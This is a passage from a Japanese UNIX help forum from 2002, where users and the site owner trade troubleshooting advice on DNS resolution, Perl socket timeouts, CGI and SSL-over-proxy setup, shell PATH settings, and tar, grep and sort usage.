グローバルIPからプライベートIPに変わってからでした。
それまではRedhatからでも名前解決に時間がかかりながらも
なんとかアクセスできていました。
# Win2kとのデュアルブートなんですが、ADSLになる以前からも、
# Win2kは素早く名前解決できてRedhatで時間がかかるという差が
# あったことが、既におかしかったのかもしれません…

とりあえず現在の状況はこんな感じでうまくいっていません。
以上ご報告まで。

No. 2862 # HP-UXSE 2002/07/15 (月) 18:21:06
はじめまして。

HP-UX11のインストールをされた方がいらしたら幸いです。
質問があります。
locale -a
で表示されていないロケールを、OSインストール後に、個別でインストールできるでしょうか?OSの入れなおししか、方法は無いでしょうか?

# setenv LANG japanese

を設定しても、Warningが出てしまいます。何とか個別でインストールしたいのですが・・・

乱文ですみません。よろしくお願いします。

No. 2863 # とも 2002/07/19 (金) 21:20:59
はじめまして
現在Solaris2.6 + iPlanet4.0 でWebサーバを利用しています。
先日CGIを使いたいとの要望がありiPlanetに対してCGIの設定を行った
のですが、"Method Not Allow"というエラーがブラウザに表示され、
CGIを実行することができません。
原因がわかる方、ご教授願えないでしょうか。
iPlanetに対して行った設定は下記のようなものです。
<やりたいこと>
〜/cgi/ ディレクトリに設置したcgiファイルを実行したい

1.サーバマネージャで[Program]→[CGI Directory]を選択し、上記ディレクトリをURLにマッピング
2.サーバマネージャで[Program]→[CGI File Type]で上記ディレクトリを選択し、ON状態に設定
3.利用するCGIファイルのパーミッションに777を設定。とりあえず動かすのが目的なのでフルアクセスを許可してみました(^^;

No. 2864 # 68user 2002/07/20 (土) 22:19:14
>>2861 has
えー、混乱してきたのんでまとめると、

    /etc/host.conf
        order hosts,bind
    /etc/resolv.conf
        nameserver 192.168.0.1

    名前解決ができない。
        netscape や perl -e "use Socket;print inet_ntoa(inet_aton('www.jp.freebsd.org'))" は NG。
        nslookup, host, dig は OK。
            → gethostbyname 系がダメっぽい。
        dig は OK? NG?

    tcpdump の結果
        netscape も perl も query 投げていないようだ。

    strace dig の結果
        socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
        socket(PF_INET6, SOCK_STREAM, 0) = -1 ENOSYS (Function not implemented)
        socket(PF_INET6, SOCK_STREAM, 0) = -1 ENOSYS (Function not implemented)
        socket(PF_INET6, SOCK_STREAM, 0) = -1 EAFNOSUPPORT (Address family not supported by protocol)
            connect はしていないようだ (by has)
            → これは dig は名前解決できないという意味? nslookup と host が OK で、
                  dig が NG ならば、ちょっと理解できません。UDP は「connect して send」
                  「connect して send」の両方のやり方がありますが、dig は「conenct
                  して send」するはず (てゆーか大抵の DNS クライアントは connect すると
                  思う)。

    strace perl の結果
        socket(PF_UNIX, SOCK_STREAM, 0) = 3
        connect(3, {sin_family=AF_UNIX, path="/var/run/.nscd_socket"}, 110) = -1 ENOENT (No such file or directory)
        socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3
        connect(3, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168.0.1")}}, 28) = 0
        socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3
        connect(3, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168.0.1")}}, 28) = 0
        → perl (から呼ばれる libc の resolver) は正常動作していると思う。これで
              パケットが飛ばないなら、OS の TCP/IP スタックが腐ってるとしか…。でも
              nslookup や host は OK というなら違うのかなぁ。nslookup や host を
              strace するとどうなるんでしょう。

> [netstat -s]は、どういった項目をどのような観点から観察したらよいでしょうか?
えー、UDP を投げた後 ICMP (かな?) が返ってくるサマを見て、何か
わかるかなーと思いましたが、今考えるとおそらく netstat -s では
原因まではわからないでしょうね。netstat -s については、2〜3ヵ月
以内の UNIX USER に詳しく説明されていましたので (Solaris,FreeBSD,
Linux の netstat -s の違いも含め)、興味があればそちらを。

あと、本当にお困りなら linux.or.jp あたりのメーリングリストで
質問した方が早いと思うですよ (もちろん解決しなくてもいいなら
こっちで続けても構いません)。

No. 2865 # 68user 2002/07/20 (土) 22:31:41
>>2862 HP-UXSE
> locale -a で表示されていないロケールを、OSインストール後に、
> 個別でインストールできるでしょうか?
HP-UX は使ったことがないのでわかりません。僕は Solaris で同じ
ことをする正しい方法を知りたい。

# 昔 ja_JP.eucJP ロケールが入ってなかった Solaris に、他の
# Solaris マシンから/usr/share/locale/ja_JP.eucJP (だったかな?)
# をごっそり持ってきて動かしたことがある。

>>2863 とも
残念ながら iPlanet も使ったことありませんのですよ。

No. 2866 # 68user 2002/07/22 (月) 16:30:46
>>2861 has
そうそう、/etc/nsswitch.conf は
    hosts: files dns
てな感じになってますか?

No. 2867 # しっぽ 2002/07/24 (水) 10:52:32
>>2859 & 2860

レスありがとうございます

>この目的を聞かせてください。connect で数分待ってしまうのがイヤだから
>なんとかしたい、ということだと受け取ったのですが、

サーバーのサービスの監視が目的です。L4SW(サーバーロードバランサー)なんかだと
5秒間隔のSYNに3回連続で応答しなければ死んだと見なすなんてヘルスチェックを
良くやるのですが…、3分にもわたって6回連続で応答しない場合のみ死んだと見なす
ってのはちょっと嬉しくないです

#これ書いててL4SWが余ってるからそれでやっても良いことに気づいた…(^^;

Writeのタイムアウトの方法は知りませんが、readのタイムアウトは以前
$selector->can_read あたりをやってみて上手くできていたような気がします



>IO::Socket::INETなんて高級な物を何故そこで使うのかがわかりませんが、

低水準な物の存在を知らなかったので…
Net::RawIP ってのは名前からして使えそうな気がします。ぐぐるで調べて
何件か出てきたので見てるところですが、ただ今のところ送るのはともかく
その後どうやって受信したら良いかが良くわかってなかったりします
まあAttackingに使うには良いのかも知れませんが

No. 2868 # 68user 2002/07/24 (水) 11:59:32
>>2867 しっぽ
であれば、ずっと connect しっぱなしで定期的にデータを
送り、返答がなければ異常とみなすのはどうでしょうか?

で、connect のタイムアウトですが、IO::Socket のソースをちらっと
見て $SIG{ALRM} やら alarm やら書いてあったので、connect 時にも
タイムアウトが働くはず…と思っていたのですが、実際に試してみると
タイムアウトになりませんでした。なので、

    $SIG{ALRM}=sub { print "SIGALRM!\n"; };
    alarm(10);
    $socket = new IO::Socket::INET (...);
    alarm(0);

こんな感じで。

No. 2869 # 68user 2002/07/24 (水) 12:09:52
>>2868 68user
ちなみに connect 中に SIGALRM が飛んでくると $! (errno) には
    Interrupted system call
が入ります。でも、IO::Socket は内部で $! が潰されてしまう
ようですね。

そういう意味でも、KL さんのおっしゃるとおり高級なものを
使うのは避けた方がよいかも。

No. 2870 # KL 2002/07/25 (木) 22:31:03
>>2867 しっぽ

>何件か出てきたので見てるところですが、ただ今のところ送るのはともかく
>その後どうやって受信したら良いかが良くわかってなかったりします

sendメソッドがありますがrecvが無いですね。
前記の通りRawIPはlibpcapのラッパーなので、libpcapへのインターフェイス
がPerlに露出されてます。キャプチャせよということでしょう。
http://search.cpan.org/doc/SKOLYCHEV/Net-RawIP-0.09d/RawIP/libpcap.pod

halfscan.cを(Perlなり他の手段を経由するなりして)raw socketの使えるシェル
から使えば一番手短に済んで良いと思いますけども。
Perlでなければならない理由が何かあるのでしょうか。また、監視対象のサービ
スも何か分からないので、halfscan.cが一番汎用で楽です。

>まあAttackingに使うには良いのかも知れませんが

どこがどのように良いのでしょう?

>>2868 68user

「connectしっぱなしで対象サービスを監視しているサービスが
正常に動いているか」を監視するサービスが必要で、さらにその
サービスを監視するサービスが...というのを考えつきました 笑
この循環を止めるには、せいぜいhalfscan.cを、切れない回線の
向こうにある落ちないOSから定期実行するか、もしくはしっぽさん
の仰られるような信頼性の高い機械を使うしかないのでは。

No. 2871 # has 2002/07/26 (金) 07:19:53
>>2864 68user
> 名前解決ができない。
nslookup,host,digは動作OKです。

> → これは dig は名前解決できないという意味? nslookup と host が OK で、
> dig が NG ならば、ちょっと理解できません。
strace digについては、dig自体は正常に動作し名前解決しているが、
ご指摘のsend()のコールが見つからないという意味です。
かわりにwrite()のコールがあるので、sendではなくwriteを使っているのでは
と想像していますが、straceで表示されるwriteで送っている文字列(?)は
内容が意味不明で、writeがsendの代わりに使っていると断言する自信は
ありません(dnsライブラリのソースや解説を見たわけではないので)。
実際には次のようになります。

% strace dig www.jp.freebsd.org >& strace-dig.txt
% grep 'write(' strace-dig.txt
write(4, "\t\0\0\0\5\0\0\0\2\0\377\277\266\3066\1\0\240\5\10\340"..., 148) = 148
write(4, "\200-(@\0\0\0\0\0\372\377\277\200T$@\10P<@\3@\0\200\0\0"..., 148) = 148
write(4, "\200-(@\0\0\0\0\20\372\377\277\220q$@XP<@\3@\0\200\0\0"..., 148) = 148
write(4, "\200-(@\0\0\0\0\0\372\377\277 \365$@\350\"\6\10\3@\0\200"..., 148) = 148
write(4, "\200-(@\1\0\0\0\2\4\0\0Ho\26@\320\371\377\2771\220\0@\334"..., 148) = 148
write(6, "\377\377\377\377", 4) = 4
write(4, "\200-(@\1\0\0\0\4\f\0\0\30V(@\260\214\'@\240\224;@\310"..., 148) = 148
write(4, "\200-(@\1\0\0\0\3\10\0\0\376\274\'@\340\"\6\10\260\230"..., 148) = 148
write(4, "\200-(@\2\0\0\0\0\0\0\0*\22:@t\241;@@0<@8\372\377\277\372"..., 148) = 148

> → perl (から呼ばれる libc の resolver) は正常動作していると思う。
確かに正常動作しているように見えます(想像ですが)。

ここで気づいたことがあるのですが、dnsを直接操作するコマンドと
gethostbynameを呼んでいると思われるコマンドで互いのstraceの結果を見比べると、
dns処理のためにオープンしているライブラリが異なっているようです。

またネットを検索していて気づいたのですが、glib2.1.??あたりにバグが
あるらしいです(情報自体は古いですが)。
もしかしたらバグのあるバージョンかもしれないので調べてみます
(今回の名前解決とは関係のないバグかもしれませんが…)。

> netstat -s については、2〜3ヵ月以内の UNIX USER に詳しく説明されていましたので
見つけたら是非読んでみようと思います(書泉行き?)。

> あと、本当にお困りなら linux.or.jp あたりのメーリングリストで
> 質問した方が早いと思うですよ (もちろん解決しなくてもいいなら
> こっちで続けても構いません)。
解決しなくていいわけではないですが、まだねばりたいです。
いつまでも同じ話題でいいかげん飽きている、という気もしますが、
もう少しお付き合いくだせい。

No. 2872 # has 2002/07/26 (金) 07:24:41
>>2866 68user
> そうそう、/etc/nsswitch.conf は
> hosts: files dns
> てな感じになってますか?
ご指摘の記述は存在しました。

No. 2873 # kaworu 2002/07/28 (日) 03:21:28
初めまして。たまにこのホームページにお邪魔させて頂いてます。
FreeBSDのFileSystemについて質問があります。
早速ですが、質問させていただきます。
iノード番号から、struct inodeまたはstruct dinodeを取得する関数(system call)があれば、その関数名を知りたいのですが。
どなたか、ご存知の方はいらっしゃいませんでしょうか?

No. 2874 # しんとろ 2002/08/01 (木) 02:25:47
初めまして。すばらしいサイトですね!
私はまだunix初心者なので、貴サイトにはお世話になっております。

Mewについて調べたところ、
http://www.mew.org/index-j.html
へのリンクが切れてました。
今は
http://www.mew.org/index.html.ja
もしくは
http://www.mew.org/
で行けると思います。

これからも頑張ってください。

No. 2875 # 68user 2002/08/01 (木) 03:21:31
>>2873 kaworu
> iノード番号から、struct inodeまたはstruct dinodeを
> 取得する関数(system call)があれば
たぶんないです。

struct inode や struct dinode は UFS にしか存在しないので、
UFS, NFS, DOS ,ext3, VFAT, FAT32 など、複数のファイルシステムを
サポートしなければならないシステムコールとしては存在しないです。

もしやるなら /dev/da0c などのデバイスを直接オープンすること
になると思いますが、clri, fsck, fsdb などのソースが参考に
なるかもしれません。

>>2871 has
> dns処理のためにオープンしているライブラリが異なっているようです。
とりあえず ldd でどのライブラリを使っているか見たり、nm や
objdump でどの関数を使っているか調べてみるとよいかもしれません。

No. 2876 # 68user 2002/08/01 (木) 03:27:19
>>2875 68user
> struct inode や struct dinode は UFS にしか存在しないので、
ああ、いきなり嘘を書いてしまった。

struct inode はメモリ内 inode なので、全ファイルシステムで
利用可能ですね。

No. 2877 # カトウ [E-mail] 2002/08/12 (月) 10:53:17
はじめまして!!UNIX初心者なのですが、こちらには本当にお世話になっております。
素晴らしいサイトだと思います。
数あるコマンドリファレンス本がほとんど無用になりました。

でも先週、なぜかまったくアクセスできなくなってしまい、大変つらい思いをしました。
こんな聞き方失礼でしょうが、こちら、閉鎖されてしまう予定とかないですよね?
もしなくなってしまったらとてつもなく悲しいです。業務にも支障が出てしまいます(悲しくて(笑))
もし一括ダウンロード等の仕組みがあったらぜひバックアップしておきたいくらいです。
ぜひぜひ永続を願わんことを・・・管理人様の労力を無視した勝手な発言で申し訳ありませんが。

No. 2878 # Ash [E-mail] 2002/08/12 (月) 23:36:23
はじめまして。いつもいつもUNIXの勉強でお世話になっています。
本当に素晴らしいサイトですね。
私もダウンロード等で保存しておきたいぐらいです。
市販の参考書よりもわかりやすく、とても参考になります。
これからもよろしくお願いします。

No. 2879 # hiro [E-mail] 2002/08/20 (火) 18:02:22
はじめまして。UNIX初心者なのが、いつもお世話になってます。
今、会社でHP−UNIX10.20を使用しています。(勉強中)
DATテープにデータをバックアップするのにfbackupコマンドを使用しています。このfbackupでバックアップした内容を確認するコマンドって何ですか?ちなみにtar cvでバックアップした内容の確認はtar tvで確認できますよね?以上、ご存知の方教えてください。

No. 2880 # 68user 2002/08/21 (水) 21:44:18
>>2877 カトウ
> でも先週、なぜかまったくアクセスできなくなってしまい、
> 大変つらい思いをしました。
8/2 あたりから 10日ほどマシンが落ちてました。マシンがリモートに
あるため対応が遅くなり失礼しました。

> こちら、閉鎖されてしまう予定とかないですよね?

現時点では閉鎖予定はないですが、なにぶんにもタダで借りさせていただいて
るものですから、マシンがクラッシュしたらどうなるかわかりません。そしたら
どこかでサーバ探すでしょうが、それもいつになるかわかりませんし、移転の
お知らせはできないかもしれません。

それまでに頑張って man と google だけで問題解決できるようになって
ください。

>>2879 hiro
man fbackup を読みましょう。
    http://www.calpoly.edu/cgi-bin/man-cgi?fbackup
読むのが面倒なら、SEE ALSO の項目だけ見て、それっぽいコマンドを
試しましょう。僕は HP-UX を使ったことがないので、どれがそのコマンド
なのかはわかりません。

No. 2881 # シゲ [E-mail] 2002/08/22 (木) 23:30:28
シゲと申します。
今、red hat 7.1でパッケージソフト開発を行っています。
複数のプロセスが立ち上がるもので、それぞれのメモリー使用量を確認を行っています。
meminfoにより合計のメモリ使用量を測ると13Mぐらいしかないのに、それぞれのプロセスの /proc/(プロセス番号)/status のVmSizeを合計すると、150Mぐらいになってしまいます。
150Mは間違いなく間違っていると思います。
単プロセスのメモリ使用量ってほかに計り方がないのでしょうか?
ご教授お願いします。

No. 2882 # 68user 2002/08/22 (木) 23:39:45
>>2881 シゲ
例えば、ls を同時に 2 プロセス実行していても、メモリ上に配置される /bin/ls の
テキスト領域 (命令文の領域) は 1 つしかありません。同様に libc などのライブラリの
テキスト領域も共有されます。そこらへんで食い違いが出ているのではないかと思います。

> 単プロセスのメモリ使用量ってほかに計り方がないのでしょうか?

どーなんでしょうねー。status の Vm* を足したり引いたりしたら
計算できそうな気もしますが、正確なところはわかりません。

まぁ、ここらへんのテキスト領域をどう計算したいのかにもよると思います。

No. 2883 # シケ゛ [E-mail] 2002/08/23 (金) 00:38:47
ご教授有難うございます。
帰りの電車の中で考えていたら、ひらめきました。
全プロセス立ち上げ時の,/proc/meminfoの全使用メモリ量から、測定したいプロセスをkillしたときの/proc/meminfoの全使用メモリ量を引けば良い気がしました。
しかし、考えてみれば68userさんのおっしゃるとおり、共有メモリが存在するから、正確な結果ではありませんね・・・。

こまったな・・・。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 2884 # 68user 2002/08/23 (金) 02:08:32
>>2883 シケ゛
結局は用途次第なわけですが、普通の環境であれば daemon 類が libc を
使っているでしょうから、そこらへんは無視していいでしょう。

あとは、横軸: プロセス数、縦軸: メモリ使用量なグラフでも書いて、
    「n クライアント、m リクエスト/sec だと XX MB 程度必要」
とか書いておけばいいんじゃないでしょうか。

# 手抜き?

No. 2885 # ホームズ 2002/08/28 (水) 11:35:24
はじめまして。
いつもこちらのサイトにお世話になっています。

パスの設定のされていないコマンドにパスを設定するには
どうすればよいのでしょうか(絶対パスでは実行できます)
初歩的な質問で恐縮ですがお教えいただけませんでしょうか。
よろしくお願いいたします。

No. 2886 # 68user 2002/08/28 (水) 13:07:36
>>2885 ホームズ
    % hoge
    hoge: Command not found.
    % /foo/bar/hoge
    (実行できる)

という状況で、hoge とだけタイプすれば実行できるようにするには
どうしたらよいか、ということですか?

環境変数を使うのが一番簡単でしょう。
    % setenv PATH ${PATH}:/foo/bar (csh・tcsh 系)
    $ PATH=${PATH}:/foo/bar; export PATH (sh・bash 系)

csh・tcsh 系なら
      set path=($path /foo/bar)
でもいいです。

No. 2887 # ホームズ 2002/08/28 (水) 13:41:04
お返事ありがとうございます。

68userさんの言われたとおり設定したらできました。
どうもありがとうございました。

No. 2888 # 26歳 [E-mail] 2002/09/04 (水) 21:32:05
初めまして、よろしくおねがいします。

お聞きしたいことがあります。
tar xvzf .tgz
して、うまく展開したのですが、
もう一度 練習で、やってみようと思うと、
Only one compression option permitted
とでてしまいます。
一回しかできないという意味なのでしょうか?

一回、   .tgzを消して試しましたが、同じでした。

初歩的かもわかりませんがよろしくお願いします。
  

No. 2889 # 68user 2002/09/05 (木) 08:35:06
>>2888 26歳
> Only one compression option permitted
    一つの圧縮オプションしか許されていない。
=複数の圧縮オプションを指定することはできない。

というわけで、Z・z・y・j などの圧縮形式を指定するオプションを、
複数個指定したのでしょう。

例えば tar zxvzf とか、tar xvZzf とか。

No. 2890 # Bootick 2002/09/08 (日) 00:28:45
はじめまして、こんにちは。

環境:Redhat7.3
ログインしているユーザが、現在何処のディレクトリにいるか
っていうのを調べることは可能でしょうか?
「who」のオプションであったりしますか?

宜しくお願いします。

No. 2891 # 68user 2002/09/08 (日) 19:19:39
>>2890 Bootick
root 権限があるなら ps -ef eww で環境変数 PWD を見るとか、
/proc の下を覗いてみるとかですかねぇ。

root 権限がないなら無理ではないかと思います。

No. 2892 # コメン 2002/09/10 (火) 17:50:03
telnetやcgiを使って本IPをメモするソースがほしいのですが、どうしたらいいですか?それと出来れば設置方法も教えてほしいです。素人なのでまったく分かりません。PCに詳しい方、お願いします

No. 2893 # はさみ 2002/09/13 (金) 10:58:28
はじめまして。
先日 /dev/null が消えてしまい、少なからずシステムに影響が出てしまいました。
それまで安定稼動していたのに、何故突然消えてしまったのか原因がわかりません。サーバ上で特に作業はしていませんでした。
どなたか同じ現象に遭遇した方いらっしゃいませんか?

No. 2894 # あきゆき 2002/09/19 (木) 10:36:38
はじめまして。
いつもお世話になっています。

Linuxにて「Proxy サーバ経由の SSL 通信」を行おうと考えております。
「ネットワークプログラミングの基礎知識」にSSL 通信の方法が
記載されていますが、Proxy 経由の方法が分からず、現在格闘中です。

Proxy サーバへの接続はできました(HTTP の通信は OK です)。
Linux & C言語の初心者で恐縮ですが、
これらの技術的なアドバイス・参考になるサイトなどがありましたら、
ご教授下さい。

よろしくお願いします。

No. 2895 # 68user 2002/09/19 (木) 12:22:03
>>2894 あきゆき
平文で、
    CONNECT target.host.com:443 HTTP/1.0\r\n
    Host: target.host.com\r\n
    \r\n
を送って、サーバから
    \r\n\r\n
が来るまで読み込み (全データが到着するのを待つ)、その中に " 200 " が
含まれていれば接続成功。

その後は SSL でやりとりする、という方法で一応接続はできています。

(" 200 " が含まれていれば OK などという適当な方法以外の) まっとうな
やり方は知りません

No. 2896 # あきゆき 2002/09/19 (木) 13:34:16
>>2895 68user
早速のご返答、ありがとうございます。

ご指摘のように、"CONNECT 〜"を行い、サーバーから
"HTTP/1.0 200 Connection established"という応答がきたので、
その後、下記の SSL の設定を行いました。
----------
SSL_load_error_strings
SSL_library_init
SSL_CTX_new
SSL_new
SSL_set_fd
SSL_connect←戻り値"0"が返されます。
----------

SSL_connect で TLS/SSL handshake に失敗したので、
SSL_get_error 関数を実行すると "5"が返されました。

現在、これについて調査中ですが、原因が何か分かりますか?
SSL のやりとりに問題がありますでしょうか?
SSL のやりとりは、
「ネットワークプログラミングの基礎知識−SSL でアクセスしてみよう」の
C言語のソースの「/* ここからが SSL */」以下と同様です。
(検証中のため、「SSL でアクセスしてみよう」と同じサイトにアクセスして、結果を得ようとしております)

何卒よろしくお願いします。

No. 2897 # あきゆき 2002/09/19 (木) 14:31:45
>>2896 あきゆき

先程の書込みで不足な情報を追加します。

SSL_get_error で返される値を記載します。

1.SSL_CTX_new(SSLv2_client_method())
→SSL_connect[返り値"0"]、SSL_get_error[返り値"6"]

2.SSL_CTX_new(SSLv3_client_method())
→SSL_connect[返り値"0"]、SSL_get_error[返り値"5"]

3.SSL_CTX_new(SSLv23_client_method())
→SSL_connect[返り値"0"]、SSL_get_error[返り値"5"]

よろしくお願いします。

No. 2898 # あきゆき 2002/09/19 (木) 15:34:26
>>2897 あきゆき

お手数をおかけしました。
「Proxy サーバ経由の SSL 通信」を行うことが出来ました。
Proxy サーバ経由で HTTPS サイトから下記の応答が返されました。
"You have successfully connected using SSL (SSLv2)."

先程の SSL_connect のエラー[返り値"0"]の原因は、
"CONNECT 〜"を送信後の Proxy からの応答待ちの個所でした。

ご迷惑をお掛けして申し訳ありませんでした。
ご返答頂きました 68user さん、誠にありがとうございました。
今後ともよろしくお願いします。

No. 2899 # Kurosawa 2002/09/20 (金) 11:09:58
    お世話になっています。場違いな質問だと思いますが質問させてください。
    CVSでローカルでcommitすればサーバ上で自動的にupdateするようにしたく
loginfoを編集したのですがうまくいきません。
質問が場違いと言ったのは、CVSサーバがUNIX系ではなくウインドウズ環境だからです。cvsntを使ってます。
いろいろ調べた結果loginfoに以下のように書けばよいとの事なんですが
wincvsにてコミットするとエラーがでてしまいます。
diary (date; cat; (sleep 2; cd /home/hoge/diary; cvs -q update -d) &) >> $CVSROOT/CVSROOT/updatelog 2>&1
エラーはnot foundとCould Not Create Child Process (error 2)です。
/home/hoge/diaryや$CVSROOT/CVSROOT/updatelogな書き方がウインドウズでは適用できないと思い
d:\diaryなどに書き換えても駄目でした。

具体的には
loginfo:
test2 (date; cat; (sleep 2; d: cd d:\cvs_test3; cvs -q update -d) &) >> d:\cvs\CVSROOT\updatelog 2>&1
(test2がモジュール名、cvs_test3がupdate先フォルダでいいんですよね?)
エラー:
Executable (date; cat; (sleep 2; d: cd d:\cvs_test3; cvs -q update -d) &) >> d:\cvs\CVSROOT\updatelog 2>&1 not found
Could Not Create Child Process (error 2)

ご存知の方、いらっしゃいましたらご伝授よろしくお願いします。

No. 2900 # Kurosawa 2002/09/20 (金) 14:49:02
自己解決(?)しました。
cvsntを利用した場合、loginfoでの自動更新はできないようです。
WINサーバの場合、cygwinを使用する方法があるみたいなので
その方法を試してみる事にします。
お騒がせしました。

No. 2901 # かなっぺ 2002/09/25 (水) 11:13:07
はじめまして。お力を貸してください。
業務用に、ファイルをアップロードするPerl/CGIを作りました。
エラーもなく動作はしているのですが、巨大なファイルをアップロードするときに、かなりの時間がかかります。
具体的には167MBのファイルをアップロードするのに約40分かかりました。
同じ環境で、同じファイルをFTP(FTP.exe)を使用して転送すると、5分で処理が終了しました。

CGIで時間がかかる原因が、私のソースにあるのか、
CGIのバッファが関係しているのか、それとも他に原因があるのか、
原因の切り分けが出来ずに困っています。

通常、CGIで100MBのファイルをアップロードしようとすると
どれくらいの時間で処理できるのでしょうか?
また、どうすればFTPと同レベルの処理速度に出来るのでしょうか?

ちなみに動作環境はUNIX、線は100BASE、Perl5。
アップロードするCGIにはCGI.pmやcgi-lib.pl等のモジュールは仕様していません。
(それが原因でしょうか?)

サーバのログには以下のように出ています。
(1)[14:17:57] "GET /xxx/ファイル入力用.cgi?flg=1 HTTP/1.1" 200 3413
(2)[14:57:11] "POST /xxx/アップロード用.cgi HTTP/1.1" 200 841

アップロードを行う(2)に処理が移るまでに、40分かかっています。
ということは、データのバッファリングに40分かかっているということなのでしょうか?

No. 2902 # 松本智也 [E-mail] 2002/09/25 (水) 12:15:00
友人がRS/6000でTCP/IPのパケット情報をmili sec単位で取得しそれをレポートとして出力したいんですが何か方法はありますか?

No. 2903 # tomu 2002/09/26 (木) 10:02:13
こんにちわ
いつもお世話になってます。

grepコマンドである検索文字列と、
その次の行を検索すると言うことは、
出来ないでしょうか?

たとえば、
ファイルの中身が
-------------------
aaa\n(改行)
bbb\n(改行)
ccc\n(改行)

aaa\n(改行)
ddd\n(改行)
eee\n(改行)
-------------------

と言うファイルがあったときに、
aaa\n(改行)
bbb\n(改行)

aaa\n(改行)
ddd\n(改行)

という結果を返して貰うことは出来ないでしょうか?

宜しくお願いします。

No. 2904 # D 2002/09/26 (木) 23:33:59
>>2903 tomu

http://x68000.startshop.co.jp/~68user/unix/pickup?grep
をご覧ください。

No. 2905 # tomu 2002/09/27 (金) 10:41:08
Dさん
見逃してました numオプション ^^;
ありがとうございました。

No. 2906 # MATSU 2002/09/27 (金) 15:43:52
はじめまして。

はじめてで恐縮ですが、質問させてください。
sortコマンドでカンマ区切りのdatファイルを
1番目と7番目の項目をキーに昇順、
5番目と6番目の項目をキーに降順
という並べ替えをしたいのですが、可能でしょうか?
よろしくご教授願います。

No. 2907 # のぞみ [URL] 2002/09/29 (日) 06:00:34
こんにちは。
HPを開いているのですが質問があります。
BBSの方にアクセス制限をかけたい人物がいるのですが
どう、打ち込めばよいかわかりません。
BBSを借りている所に質問したのですが
なかなか返事が返ってこないのでこちらに頼ろうと思い
来させて頂きました。m(__)m
どうぞ宜しくお願い致します。
その人物のホスト名は↓
FLA1Aae071.kmm.mesh.ad.jp
なんですが、*.kmm.mesh.ad.jpと打つと
全然似てない私の方まで制限がかかってしまいました。
どう打てば宜しいのでしょうか?
すいませんが教えてください。m(__)m
あと、HPに描いた絵などを無断に使用する人物を
つきとめる事等はできますでしょうか?

No. 2908 # 通りすがり 2002/09/29 (日) 15:17:59
No.2906#MATSUさん
お使いの言語はPerlですか?
Perlメモ
http://www.din.or.jp/~ohzaki/perl.htm#SortMulti
に、複数項目でのソート方法が書いてありますね。
参考になりますでしょうか。

No. 2909 # Kanchan [E-mail] 2002/09/30 (月) 14:15:10
こんにちは。
初めて質問させていただきます。
Solalisのtarコマンドでファイルをtarファイルにまとめようとしたのですが、
    "ディレクトリ階層が深くダンプできません"
というエラーメッセージが出てうまくいきません。
    コマンド:tar cvf tarファイル ./対象ディレクトリ
対処方法を知っている方がいたら、教えていただけませんでしょうか?
よろしくお願いします。

No. 2910 # NT 2002/10/08 (火) 00:18:10
こんにちは
FreeBSDで鯖を立てながら
Perlで簡単なCGIを作っております
質問があるのですが
BBSなどでバイナリファイルのUPLoadは
どのように送ればよいのでしょうか
わかる方が居りましたらお答えをお願い申し上げます

No. 2911 # take 2002/10/10 (木) 12:12:08
突然ですが、
以前このページで紹介していたUNIX関連の本を教えていただけないでしょうか。

No. 2912 # D 2002/10/12 (土) 18:16:14
>>2911 take
右上にある全文検索フォームで適当な単語を入れてみましょう。
「書籍 or 本 or 出版社 or 著者 or 訳者」てな感じで。
あとは http://bookshelves.tripod.co.jp/ とか。

No. 2913 # (^^) 2002/10/17 (木) 23:49:14
こんにちは。突然ですが質問させて下さい。
プロセス番号0〜2の
(swapper)
/sbin/init --
(pagedaemon)
プロセスの役割は何でしょうか?

No. 2914 # G 2002/10/18 (金) 17:27:00
質問いたします。下記のコマンドの条件部分($NF ~ /'"$1"')の意味がいまいち理解できないので(最後のフィールドの中から1フィールド目の値を含むものというところまでわかるのですが・・・)、ご教示ください。
ps -el | awk '($NF ~ /'"$1"'/) {print $4}' mypid =$$

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 2915 # 68user 2002/10/21 (月) 01:58:15
今更ですが、わかるものだけ回答しておきます。

>>2901 かなっぺ
> ということは、データのバッファリングに40分かかっていると
> いうことなのでしょうか?
web サーバが全データを受信し終わってから CGI プログラムを
起動しているのでしょう。本当にそうなのかどうかは、その 40分の
間に web サーバのプロセスのメモリ使用量がどう変化しているか
観察するといいでしょう。


>>2903 tomu
> grepコマンドである検索文字列と、その次の行を検索すると言うことは、
> 出来ないでしょうか?
GNU grep ならできますが、僕の試した限りでは Solaris 標準の
grep でこれができませんでした。何かやり方はあるのでしょうか?
grep で改行コードをひっかけられば解決なんですが。


>>2910 NT
> BBSなどでバイナリファイルのUPLoadはどのように送ればよいのでしょうか
テキストファイルのアップロードと全く同じでいけるはずです。


>>2913 (^^)
> (swapper)
> (pagedaemon)
スワップ制御とページング制御をする (カーネル内の) プロセスです。

> /sbin/init --
http://X68000.startshop.co.jp/~68user/unix/pickup?init をどうぞ。


>>2914 G
OS のバージョンと ps -el の結果とがないと、これの意図するところは
わかりません。

> ps -el | awk '($NF ~ /'"$1"'/) {print $4}' mypid =$$
awk が解釈するのは
    '($NF ~ /'

    '/) {print $4}'
だけで、$1 の部分はシェルが 1つ目の引数に置換するはずです。

No. 2916 # G 2002/10/21 (月) 09:42:23
>>2915 68user
情報不足で申し訳ございませんでした。しかし、私の疑問は解決致しました。
$1はフィールドではなく、スクリプトの引数を示すということですね。
ありがとうございました。

No. 2917 # G 2002/10/25 (金) 16:39:46
下記のスクリプトはHP-UXの/etc/rc.configファイルなのですが,${CFG_FILE##*/}と${fname##*[.,~\#]}の解読ができません。
どうかご教示ください。よろしくお願い致します。

for CFG_FILE in /etc/rc.config.d/* /etc/TIMEZONE
do
    fname=${CFG_FILE##*/}
    if [ -f $CFG_FILE -a "$fname" !="core" -a "${fname##*[.,~\#]}" = "$fname"]
    then . $CFG_FILE
    fi
done

No. 2918 # ふくし 2002/10/26 (土) 03:01:41
今日簡単なタテケイの問題がありました。タブ区切りで
    ブック名 ファイル名 数値A 数値B 数値C
    ・・・

というファイルをブック名ごとにサマリーし、やはりタブ区切りで
    ブック名 Σ数値A Σ数値B Σ数値C
    ・・・
というファイルを作らなければならなかったのですが、

    while(<STDIN>) {
